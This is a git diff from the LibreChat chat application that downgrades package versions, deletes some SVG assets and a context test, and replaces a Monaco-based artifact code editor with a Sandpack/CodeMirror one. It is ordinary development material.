- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
}
}
diff --git a/client/jest.config.cjs b/client/jest.config.cjs
index 4d9087bff7..f3b0b91e9b 100644
--- a/client/jest.config.cjs
+++ b/client/jest.config.cjs
@@ -1,4 +1,4 @@
-/** v0.8.4 */
+/** v0.8.3-rc1 */
module.exports = {
roots: ['/src'],
testEnvironment: 'jsdom',
@@ -32,7 +32,6 @@ module.exports = {
'^librechat-data-provider/react-query$':
'/../node_modules/librechat-data-provider/src/react-query',
},
- maxWorkers: '50%',
restoreMocks: true,
testResultsProcessor: 'jest-junit',
coverageReporters: ['text', 'cobertura', 'lcov'],
diff --git a/client/package.json b/client/package.json
index c23c44804c..fcc4c99e00 100644
--- a/client/package.json
+++ b/client/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/frontend",
- "version": "v0.8.4",
+ "version": "v0.8.3-rc1",
"description": "",
"type": "module",
"scripts": {
@@ -32,13 +32,12 @@
"@ariakit/react": "^0.4.15",
"@ariakit/react-core": "^0.4.17",
"@codesandbox/sandpack-react": "^2.19.10",
- "@dicebear/collection": "^9.4.1",
- "@dicebear/core": "^9.4.1",
+ "@dicebear/collection": "^9.2.2",
+ "@dicebear/core": "^9.2.2",
"@headlessui/react": "^2.1.2",
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
- "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
"@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
@@ -81,7 +80,7 @@
"lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
- "mermaid": "^11.13.0",
+ "mermaid": "^11.12.3",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -94,6 +93,7 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
+ "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
"react-router-dom": "^6.30.3",
@@ -122,7 +122,6 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
- "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -131,10 +130,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.19.35",
+ "@types/node": "^20.3.0",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^5.1.4",
+ "@vitejs/plugin-react": "^4.3.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -145,17 +144,16 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^30.2.0",
+ "jest-environment-jsdom": "^29.7.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
- "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-preset-env": "^11.2.0",
+ "postcss-preset-env": "^8.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^7.3.1",
+ "vite": "^6.4.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.25.0",
- "vite-plugin-pwa": "^1.2.0"
+ "vite-plugin-node-polyfills": "^0.23.0",
+ "vite-plugin-pwa": "^0.21.2"
}
}
diff --git a/client/public/assets/azure-ai-search.svg b/client/public/assets/azure-ai-search.svg
deleted file mode 100644
index 5db3422b9b..0000000000
--- a/client/public/assets/azure-ai-search.svg
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/client/public/assets/bfl-ai.svg b/client/public/assets/bfl-ai.svg
deleted file mode 100644
index c8556b8557..0000000000
--- a/client/public/assets/bfl-ai.svg
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/client/public/assets/calculator.svg b/client/public/assets/calculator.svg
deleted file mode 100644
index 440367fe9e..0000000000
--- a/client/public/assets/calculator.svg
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/client/public/assets/google-search.svg b/client/public/assets/google-search.svg
deleted file mode 100644
index be3c8db3d5..0000000000
--- a/client/public/assets/google-search.svg
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/client/public/assets/stability-ai.svg b/client/public/assets/stability-ai.svg
deleted file mode 100644
index bdc74a14d6..0000000000
--- a/client/public/assets/stability-ai.svg
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/client/public/assets/tavily.svg b/client/public/assets/tavily.svg
deleted file mode 100644
index 544d55319b..0000000000
--- a/client/public/assets/tavily.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-
-
-
diff --git a/client/src/Providers/ArtifactsContext.tsx b/client/src/Providers/ArtifactsContext.tsx
index fd67d5af94..139f679003 100644
--- a/client/src/Providers/ArtifactsContext.tsx
+++ b/client/src/Providers/ArtifactsContext.tsx
@@ -1,8 +1,7 @@
import React, { createContext, useContext, useMemo } from 'react';
-import { useRecoilValue } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
+import { useChatContext } from './ChatContext';
import { getLatestText } from '~/utils';
-import store from '~/store';
export interface ArtifactsContextValue {
isSubmitting: boolean;
@@ -19,28 +18,27 @@ interface ArtifactsProviderProps {
}
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
- const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
- const latestMessage = useRecoilValue(store.latestMessageFamily(0));
- const conversationId = useRecoilValue(store.conversationIdByIndex(0));
+ const { isSubmitting, latestMessage, conversation } = useChatContext();
const chatLatestMessageText = useMemo(() => {
return getLatestText({
+ messageId: latestMessage?.messageId ?? null,
text: latestMessage?.text ?? null,
content: latestMessage?.content ?? null,
- messageId: latestMessage?.messageId ?? null,
} as TMessage);
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
const defaultContextValue = useMemo(
() => ({
isSubmitting,
- conversationId: conversationId ?? null,
latestMessageText: chatLatestMessageText,
latestMessageId: latestMessage?.messageId ?? null,
+ conversationId: conversation?.conversationId ?? null,
}),
- [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
+ [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId],
);
+ /** Context value only created when relevant values change */
const contextValue = useMemo(
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
[defaultContextValue, value],
diff --git a/client/src/Providers/DragDropContext.tsx b/client/src/Providers/DragDropContext.tsx
index b519c0171f..e5a2177f2d 100644
--- a/client/src/Providers/DragDropContext.tsx
+++ b/client/src/Providers/DragDropContext.tsx
@@ -1,5 +1,5 @@
import React, { createContext, useContext, useMemo } from 'react';
-import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
+import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider';
import type { EModelEndpoint } from 'librechat-data-provider';
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
import { useAgentsMapContext } from './AgentsMapContext';
@@ -9,7 +9,7 @@ interface DragDropContextValue {
conversationId: string | null | undefined;
agentId: string | null | undefined;
endpoint: string | null | undefined;
- endpointType?: EModelEndpoint | string | undefined;
+ endpointType?: EModelEndpoint | undefined;
useResponsesApi?: boolean;
}
@@ -20,6 +20,13 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
const { data: endpointsConfig } = useGetEndpointsQuery();
const agentsMap = useAgentsMapContext();
+ const endpointType = useMemo(() => {
+ return (
+ getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
+ (conversation?.endpoint as EModelEndpoint | undefined)
+ );
+ }, [conversation?.endpoint, endpointsConfig]);
+
const needsAgentFetch = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id) {
@@ -33,20 +40,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
enabled: needsAgentFetch,
});
- const agentProvider = useMemo(() => {
- const isAgents = isAgentsEndpoint(conversation?.endpoint);
- if (!isAgents || !conversation?.agent_id) {
- return undefined;
- }
- const agent = agentData || agentsMap?.[conversation.agent_id];
- return agent?.provider;
- }, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
-
- const endpointType = useMemo(
- () => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
- [endpointsConfig, conversation?.endpoint, agentProvider],
- );
-
const useResponsesApi = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
diff --git a/client/src/Providers/MessagesViewContext.tsx b/client/src/Providers/MessagesViewContext.tsx
index f1cae204a4..f8f5eef12a 100644
--- a/client/src/Providers/MessagesViewContext.tsx
+++ b/client/src/Providers/MessagesViewContext.tsx
@@ -18,8 +18,7 @@ interface MessagesViewContextValue {
/** Message state management */
index: ReturnType['index'];
- latestMessageId: ReturnType['latestMessageId'];
- latestMessageDepth: ReturnType['latestMessageDepth'];
+ latestMessage: ReturnType['latestMessage'];
setLatestMessage: ReturnType['setLatestMessage'];
getMessages: ReturnType['getMessages'];
setMessages: ReturnType['setMessages'];
@@ -40,8 +39,7 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
regenerate,
isSubmitting,
conversation,
- latestMessageId,
- latestMessageDepth,
+ latestMessage,
setAbortScroll,
handleContinue,
setLatestMessage,
@@ -85,11 +83,10 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
const messageState = useMemo(
() => ({
index,
- latestMessageId,
- latestMessageDepth,
+ latestMessage,
setLatestMessage,
}),
- [index, latestMessageId, latestMessageDepth, setLatestMessage],
+ [index, latestMessage, setLatestMessage],
);
/** Combine all values into final context value */
@@ -142,9 +139,9 @@ export function useMessagesOperations() {
/** Hook for components that only need message state */
export function useMessagesState() {
- const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
+ const { index, latestMessage, setLatestMessage } = useMessagesViewContext();
return useMemo(
- () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
- [index, latestMessageId, latestMessageDepth, setLatestMessage],
+ () => ({ index, latestMessage, setLatestMessage }),
+ [index, latestMessage, setLatestMessage],
);
}
diff --git a/client/src/Providers/__tests__/DragDropContext.spec.tsx b/client/src/Providers/__tests__/DragDropContext.spec.tsx
deleted file mode 100644
index 3c5e0f0796..0000000000
--- a/client/src/Providers/__tests__/DragDropContext.spec.tsx
+++ /dev/null
@@ -1,134 +0,0 @@
-import React from 'react';
-import { renderHook } from '@testing-library/react';
-import { EModelEndpoint } from 'librechat-data-provider';
-import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
-import { DragDropProvider, useDragDropContext } from '../DragDropContext';
-
-const mockEndpointsConfig: TEndpointsConfig = {
- [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
- [EModelEndpoint.agents]: { userProvide: false, order: 1 },
- [EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
- Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
- 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
-};
-
-let mockConversation: Record | null = null;
-let mockAgentsMap: Record> = {};
-let mockAgentQueryData: Partial | undefined;
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
-}));
-
-jest.mock('../AgentsMapContext', () => ({
- useAgentsMapContext: () => mockAgentsMap,
-}));
-
-jest.mock('../ChatContext', () => ({
- useChatContext: () => ({ conversation: mockConversation }),
-}));
-
-function wrapper({ children }: { children: React.ReactNode }) {
- return {children} ;
-}
-
-describe('DragDropContext endpointType resolution', () => {
- beforeEach(() => {
- mockConversation = null;
- mockAgentsMap = {};
- mockAgentQueryData = undefined;
- });
-
- describe('non-agents endpoints', () => {
- it('resolves custom endpoint type for a custom endpoint', () => {
- mockConversation = { endpoint: 'Moonshot' };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.custom);
- });
-
- it('resolves endpoint name for a standard endpoint', () => {
- mockConversation = { endpoint: EModelEndpoint.openAI };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
- });
- });
-
- describe('agents endpoint with provider from agentsMap', () => {
- it('resolves to custom for agent with Moonshot provider', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.custom);
- });
-
- it('resolves to custom for agent with custom provider with spaces', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = {
- 'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial,
- };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.custom);
- });
-
- it('resolves to openAI for agent with openAI provider', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = {
- 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
- };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
- });
-
- it('resolves to anthropic for agent with anthropic provider', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = {
- 'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial,
- };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
- });
- });
-
- describe('agents endpoint with provider from agentData query', () => {
- it('uses agentData when agent is not in agentsMap', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
- mockAgentsMap = {};
- mockAgentQueryData = { provider: 'Moonshot' } as Partial;
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.custom);
- });
- });
-
- describe('agents endpoint without provider', () => {
- it('falls back to agents when no agent_id', () => {
- mockConversation = { endpoint: EModelEndpoint.agents };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.agents);
- });
-
- it('falls back to agents when agent has no provider', () => {
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial };
- const { result } = renderHook(() => useDragDropContext(), { wrapper });
- expect(result.current.endpointType).toBe(EModelEndpoint.agents);
- });
- });
-
- describe('consistency: same endpoint type whether used directly or through agents', () => {
- it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
- mockConversation = { endpoint: 'Moonshot' };
- const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
-
- mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
- mockAgentsMap = {
- 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
- };
- const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
-
- expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
- });
- });
-});
diff --git a/client/src/a11y/LiveAnnouncer.tsx b/client/src/a11y/LiveAnnouncer.tsx
index 0eac8089bc..9a02711556 100644
--- a/client/src/a11y/LiveAnnouncer.tsx
+++ b/client/src/a11y/LiveAnnouncer.tsx
@@ -56,13 +56,10 @@ const LiveAnnouncer: React.FC = ({ children }) => {
const announceAssertive = announcePolite;
- const contextValue = useMemo(
- () => ({
- announcePolite,
- announceAssertive,
- }),
- [announcePolite, announceAssertive],
- );
+ const contextValue = {
+ announcePolite,
+ announceAssertive,
+ };
useEffect(() => {
return () => {
diff --git a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
index 293bd8878e..1e1b7d1e4b 100644
--- a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
+++ b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
@@ -179,7 +179,9 @@ describe('Virtual Scrolling Performance', () => {
};
it('efficiently handles 1000 agents without rendering all DOM nodes', () => {
+ const startTime = performance.now();
renderComponent(1000);
+ const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -189,10 +191,19 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50); // Much less than 1000
expect(renderedCards.length).toBeGreaterThan(0);
+
+ // Performance check: rendering should be fast
+ const renderTime = endTime - startTime;
+ expect(renderTime).toBeLessThan(740);
+
+ console.log(`Rendered 1000 agents in ${renderTime.toFixed(2)}ms`);
+ console.log(`Only ${renderedCards.length} DOM nodes created for 1000 agents`);
});
it('efficiently handles 5000 agents (stress test)', () => {
+ const startTime = performance.now();
renderComponent(5000);
+ const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -202,6 +213,13 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50);
expect(renderedCards.length).toBeGreaterThan(0);
+
+ // Performance should still be reasonable
+ const renderTime = endTime - startTime;
+ expect(renderTime).toBeLessThan(200); // Should render in less than 200ms
+
+ console.log(`Rendered 5000 agents in ${renderTime.toFixed(2)}ms`);
+ console.log(`Only ${renderedCards.length} DOM nodes created for 5000 agents`);
});
it('calculates correct number of virtual rows for different screen sizes', () => {
diff --git a/client/src/components/Artifacts/ArtifactCodeEditor.tsx b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
index d03397821d..4ab2b182b8 100644
--- a/client/src/components/Artifacts/ArtifactCodeEditor.tsx
+++ b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
@@ -1,326 +1,206 @@
-import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
+import React, { useMemo, useState, useEffect, useRef, memo } from 'react';
import debounce from 'lodash/debounce';
-import MonacoEditor from '@monaco-editor/react';
-import type { Monaco } from '@monaco-editor/react';
-import type { editor } from 'monaco-editor';
-import type { Artifact } from '~/common';
+import { KeyBinding } from '@codemirror/view';
+import { autocompletion, completionKeymap } from '@codemirror/autocomplete';
+import {
+ useSandpack,
+ SandpackCodeEditor,
+ SandpackProvider as StyledProvider,
+} from '@codesandbox/sandpack-react';
+import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
+import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
+import type { CodeEditorRef } from '@codesandbox/sandpack-react';
+import type { ArtifactFiles, Artifact } from '~/common';
+import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
import { useMutationState, useCodeState } from '~/Providers/EditorContext';
import { useArtifactsContext } from '~/Providers';
-import { useEditArtifact } from '~/data-provider';
+import { sharedFiles, sharedOptions } from '~/utils/artifacts';
-const LANG_MAP: Record = {
- javascript: 'javascript',
- typescript: 'typescript',
- python: 'python',
- css: 'css',
- json: 'json',
- markdown: 'markdown',
- html: 'html',
- xml: 'xml',
- sql: 'sql',
- yaml: 'yaml',
- shell: 'shell',
- bash: 'shell',
- tsx: 'typescript',
- jsx: 'javascript',
- c: 'c',
- cpp: 'cpp',
- java: 'java',
- go: 'go',
- rust: 'rust',
- kotlin: 'kotlin',
- swift: 'swift',
- php: 'php',
- ruby: 'ruby',
- r: 'r',
- lua: 'lua',
- scala: 'scala',
- perl: 'perl',
-};
+const CodeEditor = memo(
+ ({
+ fileKey,
+ readOnly,
+ artifact,
+ editorRef,
+ }: {
+ fileKey: string;
+ readOnly?: boolean;
+ artifact: Artifact;
+ editorRef: React.MutableRefObject;
+ }) => {
+ const { sandpack } = useSandpack();
+ const [currentUpdate, setCurrentUpdate] = useState(null);
+ const { isMutating, setIsMutating } = useMutationState();
+ const { setCurrentCode } = useCodeState();
+ const editArtifact = useEditArtifact({
+ onMutate: (vars) => {
+ setIsMutating(true);
+ setCurrentUpdate(vars.updated);
+ },
+ onSuccess: () => {
+ setIsMutating(false);
+ setCurrentUpdate(null);
+ },
+ onError: () => {
+ setIsMutating(false);
+ },
+ });
-const TYPE_MAP: Record = {
- 'text/html': 'html',
- 'application/vnd.code-html': 'html',
- 'application/vnd.react': 'typescript',
- 'application/vnd.ant.react': 'typescript',
- 'text/markdown': 'markdown',
- 'text/md': 'markdown',
- 'text/plain': 'plaintext',
- 'application/vnd.mermaid': 'markdown',
-};
+ /**
+ * Create stable debounced mutation that doesn't depend on changing callbacks
+ * Use refs to always access the latest values without recreating the debounce
+ */
+ const artifactRef = useRef(artifact);
+ const isMutatingRef = useRef(isMutating);
+ const currentUpdateRef = useRef(currentUpdate);
+ const editArtifactRef = useRef(editArtifact);
+ const setCurrentCodeRef = useRef(setCurrentCode);
-function getMonacoLanguage(type?: string, language?: string): string {
- if (language && LANG_MAP[language]) {
- return LANG_MAP[language];
- }
- return TYPE_MAP[type ?? ''] ?? 'plaintext';
-}
+ useEffect(() => {
+ artifactRef.current = artifact;
+ }, [artifact]);
-export const ArtifactCodeEditor = function ArtifactCodeEditor({
+ useEffect(() => {
+ isMutatingRef.current = isMutating;
+ }, [isMutating]);
+
+ useEffect(() => {
+ currentUpdateRef.current = currentUpdate;
+ }, [currentUpdate]);
+
+ useEffect(() => {
+ editArtifactRef.current = editArtifact;
+ }, [editArtifact]);
+
+ useEffect(() => {
+ setCurrentCodeRef.current = setCurrentCode;
+ }, [setCurrentCode]);
+
+ /**
+ * Create debounced mutation once - never recreate it
+ * All values are accessed via refs so they're always current
+ */
+ const debouncedMutation = useMemo(
+ () =>
+ debounce((code: string) => {
+ if (readOnly) {
+ return;
+ }
+ if (isMutatingRef.current) {
+ return;
+ }
+ if (artifactRef.current.index == null) {
+ return;
+ }
+
+ const artifact = artifactRef.current;
+ const artifactIndex = artifact.index;
+ const isNotOriginal =
+ code && artifact.content != null && code.trim() !== artifact.content.trim();
+ const isNotRepeated =
+ currentUpdateRef.current == null
+ ? true
+ : code != null && code.trim() !== currentUpdateRef.current.trim();
+
+ if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
+ setCurrentCodeRef.current(code);
+ editArtifactRef.current.mutate({
+ index: artifactIndex,
+ messageId: artifact.messageId ?? '',
+ original: artifact.content,
+ updated: code,
+ });
+ }
+ }, 500),
+ [readOnly],
+ );
+
+ /**
+ * Listen to Sandpack file changes and trigger debounced mutation
+ */
+ useEffect(() => {
+ const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
+ if (currentCode) {
+ debouncedMutation(currentCode);
+ }
+ }, [sandpack.files, fileKey, debouncedMutation]);
+
+ /**
+ * Cleanup: cancel pending mutations when component unmounts or artifact changes
+ */
+ useEffect(() => {
+ return () => {
+ debouncedMutation.cancel();
+ };
+ }, [artifact.id, debouncedMutation]);
+
+ return (
+ (completionKeymap)}
+ className="hljs language-javascript bg-black"
+ />
+ );
+ },
+);
+
+export const ArtifactCodeEditor = function ({
+ files,
+ fileKey,
+ template,
artifact,
- monacoRef,
+ editorRef,
+ sharedProps,
readOnly: externalReadOnly,
}: {
+ fileKey: string;
artifact: Artifact;
- monacoRef: React.MutableRefObject;
+ files: ArtifactFiles;
+ template: SandpackProviderProps['template'];
+ sharedProps: Partial;
+ editorRef: React.MutableRefObject;
readOnly?: boolean;
}) {
+ const { data: config } = useGetStartupConfig();
const { isSubmitting } = useArtifactsContext();
- const readOnly = (externalReadOnly ?? false) || isSubmitting;
- const { setCurrentCode } = useCodeState();
- const [currentUpdate, setCurrentUpdate] = useState(null);
- const { isMutating, setIsMutating } = useMutationState();
- const editArtifact = useEditArtifact({
- onMutate: (vars) => {
- setIsMutating(true);
- setCurrentUpdate(vars.updated);
- },
- onSuccess: () => {
- setIsMutating(false);
- setCurrentUpdate(null);
- },
- onError: () => {
- setIsMutating(false);
- },
- });
-
- const artifactRef = useRef(artifact);
- const isMutatingRef = useRef(isMutating);
- const currentUpdateRef = useRef(currentUpdate);
- const editArtifactRef = useRef(editArtifact);
- const setCurrentCodeRef = useRef(setCurrentCode);
- const prevContentRef = useRef(artifact.content ?? '');
- const prevArtifactId = useRef(artifact.id);
- const prevReadOnly = useRef(readOnly);
-
- artifactRef.current = artifact;
- isMutatingRef.current = isMutating;
- currentUpdateRef.current = currentUpdate;
- editArtifactRef.current = editArtifact;
- setCurrentCodeRef.current = setCurrentCode;
-
- const debouncedMutation = useMemo(
- () =>
- debounce((code: string) => {
- if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
- return;
- }
- const art = artifactRef.current;
- const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
- const isNotRepeated =
- currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
-
- if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
- setCurrentCodeRef.current(code);
- editArtifactRef.current.mutate({
- index: art.index,
- messageId: art.messageId ?? '',
- original: art.content,
- updated: code,
- });
- }
- }, 500),
- [readOnly],
- );
-
- useEffect(() => {
- return () => debouncedMutation.cancel();
- }, [artifact.id, debouncedMutation]);
-
- /**
- * Streaming: use model.applyEdits() to append new content.
- * Unlike setValue/pushEditOperations, applyEdits preserves existing
- * tokens so syntax highlighting doesn't flash during updates.
- */
- useEffect(() => {
- const ed = monacoRef.current;
- if (!ed || !readOnly) {
- return;
+ const options: typeof sharedOptions = useMemo(() => {
+ if (!config) {
+ return sharedOptions;
}
- const newContent = artifact.content ?? '';
- const prev = prevContentRef.current;
-
- if (newContent === prev) {
- return;
- }
-
- const model = ed.getModel();
- if (!model) {
- return;
- }
-
- if (newContent.startsWith(prev) && prev.length > 0) {
- const appended = newContent.slice(prev.length);
- const endPos = model.getPositionAt(model.getValueLength());
- model.applyEdits([
- {
- range: {
- startLineNumber: endPos.lineNumber,
- startColumn: endPos.column,
- endLineNumber: endPos.lineNumber,
- endColumn: endPos.column,
- },
- text: appended,
- },
- ]);
- } else {
- model.setValue(newContent);
- }
-
- prevContentRef.current = newContent;
- ed.revealLine(model.getLineCount());
- }, [artifact.content, readOnly, monacoRef]);
-
- useEffect(() => {
- if (artifact.id === prevArtifactId.current) {
- return;
- }
- prevArtifactId.current = artifact.id;
- prevContentRef.current = artifact.content ?? '';
- const ed = monacoRef.current;
- if (ed && artifact.content != null) {
- ed.getModel()?.setValue(artifact.content);
- }
- }, [artifact.id, artifact.content, monacoRef]);
-
- useEffect(() => {
- if (prevReadOnly.current && !readOnly && artifact.content != null) {
- const ed = monacoRef.current;
- if (ed) {
- ed.getModel()?.setValue(artifact.content);
- prevContentRef.current = artifact.content;
- }
- }
- prevReadOnly.current = readOnly;
- }, [readOnly, artifact.content, monacoRef]);
-
- const handleChange = useCallback(
- (value: string | undefined) => {
- if (value === undefined || readOnly) {
- return;
- }
- prevContentRef.current = value;
- setCurrentCode(value);
- if (value.length > 0) {
- debouncedMutation(value);
- }
- },
- [readOnly, debouncedMutation, setCurrentCode],
- );
-
- /**
- * Disable all validation — this is an artifact viewer/editor, not an IDE.
- * Note: these are global Monaco settings that affect all editor instances on the page.
